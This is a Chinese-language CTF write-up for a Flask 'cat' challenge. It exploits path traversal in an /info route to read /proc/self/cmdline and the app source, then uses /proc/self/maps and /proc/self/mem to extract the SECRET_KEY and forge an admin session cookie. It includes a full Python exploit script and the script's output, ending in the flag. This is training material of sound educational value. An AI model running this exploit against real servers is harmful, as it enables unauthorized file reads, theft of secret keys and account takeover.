点击猫猫信息看到文件读取功能

环境变量里没有
http://61.147.171.103:60316/info?file=../../../../proc/self/environ
/proc/self/cmdline,用于获取当前启动进程的完整命令
得到 b’python\x00app.py\x00’
再次读取上级目录的 ../app.py
app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值(参考此处)。这里直接放出大佬读取/proc/self/maps+/proc/self/mem+SECRET_KEY的脚本,可一键获取flag。
那么现在思路就是通过 maps 文件的可 rw 地址,在 mem 中读取,匹配关键词,找到 secret_key,最后通过相同的规则伪造 session 获取管理员,查看到 flag
注意到 app.py 里有 from cat import cat ,读取一下 cat.py 看看逻辑
from cat import cat
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
f.close()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
根据这两个片段,逻辑就清楚了
在 /info 路由读取 /proc/self/mem,同时传入 start 起始地址和 end 结束地址即可。
maps 中每一行长这样
55d4940b1000-55d4940b2000 r--p 00000000 fd:00 53477819 /usr/local/bin/python3.7\n
匹配形如 55d495cfb000-55d495cff000 rw 的数据,去 mem 读取内容
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
这里 SECFET_KEY 末尾有 *abcdefgh,查找该值定位 key
key 格式,正则匹配一下即可
-
UUID部分:32个字符
-
后缀部分:8个字符
拿到 key 后,用 key 和 {"admin":1} 来伪造 session
下面是我的 exp
import requests
import re
from flask import Flask, session
from itsdangerous import URLSafeTimedSerializer
import json
url = "http://61.147.171.103:60316/"
up = "../../"
def get_secret_key():
map_list = requests.get(url + f"info?file={up}/proc/self/maps")
map_lists = map_list.text.split("\\n")
# print(map_lists)
for i in map_lists:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i) #从头匹配
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={up}/proc/self/mem&start={start}&end={end}")
if "*abcdefgh" in res.text:
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Found secret key:", secret_key[0])
return secret_key[0]
def forge_session(secret_key,data):
serializer = URLSafeTimedSerializer(
secret_key,
salt='cookie-session', # Flask 默认的 salt
serializer=json, # 使用 JSON 序列化
signer_kwargs={'key_derivation': 'hmac', 'digest_method': 'sha1'} # Flask 默认的签名方式
)
# 生成 session 的加密字符串
return serializer.dumps(data)
if __name__ == "__main__":
secret_key = get_secret_key()
data = {'admin': 1}
session = forge_session(secret_key, data)
print("[+] Session:",session)
headers = {
"Cookie":"session="+session
}
flag = requests.get(url + f"admin",headers=headers)
print(flag.text)
# '7fcb64eb9000-7fcb64f18000 r--p 00000000 fd:00 53477940 /usr/local/lib/libpython3.7m.so.1.0'
Found rw addr: 140511519399936 - 140511520452608
Found rw addr: 140511520460800 - 140511521775616
Found rw addr: 140511521783808 - 140511522836480
Found rw addr: 140511522844672 - 140511523930112
Found rw addr: 140511523934208 - 140511524368384
Found rw addr: 140511524380672 - 140511524446208
Found rw addr: 140511524458496 - 140511525711872
Found secret key: 568a20d2eff24d32a7963d38af525cc9*abcdefgh
[+] Session: eyJhZG1pbiI6IDF9.aH4LmQ.IpcCjFOLCTP96LODrEY8vCoc7EA
catctf{Catch_the_c4t_HaHa}